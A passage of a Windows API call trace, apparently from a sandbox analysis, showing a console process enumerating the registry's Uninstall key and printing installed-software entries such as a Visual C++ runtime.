[0150.653] GetConsoleOutputCP () returned 0x1b5 [0150.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.653] GetConsoleOutputCP () returned 0x1b5 [0150.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.653] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.653] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.653] lstrlenW (lpString="Language") returned 8 [0150.654] __iob_func () returned 0x7fefd702a80 [0150.654] _fileno (_File=0x7fefd702ab0) returned 1 [0150.654] _errno () returned 0x204bb0 [0150.654] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.654] _errno () returned 0x204bb0 [0150.654] GetFileType (hFile=0x50) returned 0x1 [0150.654] lstrlenW (lpString="Language") returned 8 [0150.654] GetConsoleOutputCP () returned 0x1b5 [0150.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.654] GetConsoleOutputCP () returned 0x1b5 [0150.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0150.654] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.654] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.654] __iob_func () returned 0x7fefd702a80 [0150.654] _fileno (_File=0x7fefd702ab0) returned 1 [0150.654] _errno () returned 0x204bb0 [0150.654] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.654] _errno () returned 0x204bb0 [0150.654] GetFileType (hFile=0x50) returned 0x1 [0150.654] lstrlenW (lpString=" ") returned 4 [0150.654] GetConsoleOutputCP () returned 0x1b5 [0150.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.654] GetConsoleOutputCP () returned 0x1b5 [0150.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.655] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.655] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.655] __iob_func () returned 0x7fefd702a80 [0150.655] _fileno (_File=0x7fefd702ab0) returned 1 [0150.655] _errno () returned 0x204bb0 [0150.655] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.655] _errno () returned 0x204bb0 [0150.655] GetFileType (hFile=0x50) returned 0x1 [0150.655] lstrlenW (lpString="REG_DWORD") returned 9 [0150.655] GetConsoleOutputCP () returned 0x1b5 [0150.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.655] GetConsoleOutputCP () returned 0x1b5 [0150.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.655] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.655] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.655] __iob_func () returned 0x7fefd702a80 [0150.655] _fileno (_File=0x7fefd702ab0) returned 1 [0150.655] _errno () returned 0x204bb0 [0150.655] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.655] _errno () returned 0x204bb0 [0150.655] GetFileType (hFile=0x50) returned 0x1 [0150.655] lstrlenW (lpString=" ") returned 4 [0150.655] GetConsoleOutputCP () returned 0x1b5 [0150.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.656] GetConsoleOutputCP () returned 0x1b5 [0150.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.656] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.656] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.656] __iob_func () returned 0x7fefd702a80 [0150.656] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.656] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x409") returned 5 [0150.656] _fileno (_File=0x7fefd702ab0) returned 1 [0150.656] _errno () returned 0x204bb0 [0150.656] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.656] _errno () returned 0x204bb0 [0150.656] GetFileType (hFile=0x50) returned 0x1 [0150.656] lstrlenW (lpString="0x409") returned 5 [0150.656] GetConsoleOutputCP () returned 0x1b5 [0150.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0150.656] GetConsoleOutputCP () returned 0x1b5 [0150.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0150.657] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0150.657] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.657] __iob_func () returned 0x7fefd702a80 [0150.657] _fileno (_File=0x7fefd702ab0) returned 1 [0150.657] _errno () returned 0x204bb0 [0150.657] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.657] _errno () returned 0x204bb0 [0150.657] GetFileType (hFile=0x50) returned 0x1 [0150.657] lstrlenW (lpString="\n") returned 1 [0150.657] GetConsoleOutputCP () returned 0x1b5 [0150.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.657] GetConsoleOutputCP () returned 0x1b5 [0150.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.658] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.658] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.658] GetProcessHeap () returned 0x3c0000 [0150.658] GetProcessHeap () returned 0x3c0000 [0150.658] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.658] GetProcessHeap () returned 0x3c0000 [0150.658] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.658] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.658] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.658] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x78) returned 0x0 [0150.658] GetProcessHeap () returned 0x3c0000 [0150.658] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7a) returned 0x3db830 [0150.658] GetProcessHeap () returned 0x3c0000 [0150.658] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.658] GetProcessHeap () returned 0x3c0000 [0150.658] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7a [0150.658] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x78 | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", pcbData=0x29f780*=0x76) returned 0x0 [0150.658] __iob_func () returned 0x7fefd702a80 [0150.658] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.658] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.658] _fileno (_File=0x7fefd702ab0) returned 1 [0150.658] _errno () returned 0x204bb0 [0150.658] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.658] _errno () returned 0x204bb0 [0150.658] GetFileType (hFile=0x50) returned 0x1 [0150.658] lstrlenW (lpString=" ") returned 4 [0150.658] GetConsoleOutputCP () returned 0x1b5 [0150.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.659] GetConsoleOutputCP () returned 0x1b5 [0150.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.659] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.659] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.659] lstrlenW (lpString="DisplayName") returned 11 [0150.659] __iob_func () returned 0x7fefd702a80 [0150.659] _fileno (_File=0x7fefd702ab0) returned 1 [0150.659] _errno () returned 0x204bb0 [0150.659] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.659] _errno () returned 0x204bb0 [0150.659] GetFileType (hFile=0x50) returned 0x1 [0150.659] lstrlenW (lpString="DisplayName") returned 11 [0150.659] GetConsoleOutputCP () returned 0x1b5 [0150.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.659] GetConsoleOutputCP () returned 0x1b5 [0150.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.659] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.659] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.659] __iob_func () returned 0x7fefd702a80 [0150.659] _fileno (_File=0x7fefd702ab0) returned 1 [0150.659] _errno () returned 0x204bb0 [0150.659] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.660] _errno () returned 0x204bb0 [0150.660] GetFileType (hFile=0x50) returned 0x1 [0150.660] lstrlenW (lpString=" ") returned 4 [0150.660] GetConsoleOutputCP () returned 0x1b5 [0150.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.660] GetConsoleOutputCP () returned 0x1b5 [0150.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.660] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.660] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.660] __iob_func () returned 0x7fefd702a80 [0150.660] _fileno (_File=0x7fefd702ab0) returned 1 [0150.660] _errno () returned 0x204bb0 [0150.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.660] _errno () returned 0x204bb0 [0150.660] GetFileType (hFile=0x50) returned 0x1 [0150.660] lstrlenW (lpString="REG_SZ") returned 6 [0150.660] GetConsoleOutputCP () returned 0x1b5 [0150.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.660] GetConsoleOutputCP () returned 0x1b5 [0150.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.661] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.661] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.661] __iob_func () returned 0x7fefd702a80 [0150.661] _fileno (_File=0x7fefd702ab0) returned 1 [0150.661] _errno () returned 0x204bb0 [0150.661] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.661] _errno () returned 0x204bb0 [0150.661] GetFileType (hFile=0x50) returned 0x1 [0150.661] lstrlenW (lpString=" ") returned 4 [0150.661] GetConsoleOutputCP () returned 0x1b5 [0150.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.661] GetConsoleOutputCP () returned 0x1b5 [0150.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.661] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.661] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.661] __iob_func () returned 0x7fefd702a80 [0150.661] _fileno (_File=0x7fefd702ab0) returned 1 [0150.661] _errno () returned 0x204bb0 [0150.661] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.661] _errno () returned 0x204bb0 [0150.661] GetFileType (hFile=0x50) returned 0x1 [0150.661] lstrlenW (lpString="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030") returned 58 [0150.661] GetConsoleOutputCP () returned 0x1b5 [0150.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0150.662] GetConsoleOutputCP () returned 0x1b5 [0150.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", cchWideChar=58, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpUsedDefaultChar=0x0) returned 58 [0150.662] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 58 [0150.662] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.662] __iob_func () returned 0x7fefd702a80 [0150.662] _fileno (_File=0x7fefd702ab0) returned 1 [0150.662] _errno () returned 0x204bb0 [0150.662] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.662] _errno () returned 0x204bb0 [0150.662] GetFileType (hFile=0x50) returned 0x1 [0150.662] lstrlenW (lpString="\n") returned 1 [0150.662] GetConsoleOutputCP () returned 0x1b5 [0150.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.662] GetConsoleOutputCP () returned 0x1b5 [0150.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.662] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.662] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.662] GetProcessHeap () returned 0x3c0000 [0150.662] GetProcessHeap () returned 0x3c0000 [0150.662] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.662] GetProcessHeap () returned 0x3c0000 [0150.663] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7a [0150.663] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.663] __iob_func () returned 0x7fefd702a80 [0150.663] _fileno (_File=0x7fefd702ab0) returned 1 [0150.663] _errno () returned 0x204bb0 [0150.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.663] _errno () returned 0x204bb0 [0150.663] GetFileType (hFile=0x50) returned 0x1 [0150.663] lstrlenW (lpString="\n") returned 1 [0150.663] GetConsoleOutputCP () returned 0x1b5 [0150.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.663] GetConsoleOutputCP () returned 0x1b5 [0150.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.663] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.663] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.663] GetProcessHeap () returned 0x3c0000 [0150.663] GetProcessHeap () returned 0x3c0000 [0150.663] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.663] GetProcessHeap () returned 0x3c0000 [0150.663] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0150.663] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.663] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.663] GetProcessHeap () returned 0x3c0000 [0150.663] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.663] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 121 [0150.663] GetProcessHeap () returned 0x3c0000 [0150.663] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.663] GetProcessHeap () returned 0x3c0000 [0150.664] GetProcessHeap () returned 0x3c0000 [0150.664] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.664] GetProcessHeap () returned 0x3c0000 [0150.664] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.664] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.664] GetProcessHeap () returned 0x3c0000 [0150.664] GetProcessHeap () returned 0x3c0000 [0150.664] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.664] GetProcessHeap () returned 0x3c0000 [0150.664] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.664] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.664] RegCloseKey (hKey=0x5c) returned 0x0 [0150.664] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x22, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.664] __iob_func () returned 0x7fefd702a80 [0150.664] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.664] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\n") returned 122 [0150.664] _fileno (_File=0x7fefd702ab0) returned 1 [0150.664] _errno () returned 0x204bb0 [0150.664] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.664] _errno () returned 0x204bb0 [0150.664] GetFileType (hFile=0x50) returned 0x1 [0150.664] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\n") returned 122 [0150.664] GetConsoleOutputCP () returned 0x1b5 [0150.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.664] GetConsoleOutputCP () returned 0x1b5 [0150.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\n", lpUsedDefaultChar=0x0) returned 122 [0150.665] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.665] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.665] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.665] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x14, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.665] GetProcessHeap () returned 0x3c0000 [0150.665] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2a) returned 0x3d78d0 [0150.665] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleCachePath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.665] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xac) returned 0x0 [0150.665] GetProcessHeap () returned 0x3c0000 [0150.665] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xae) returned 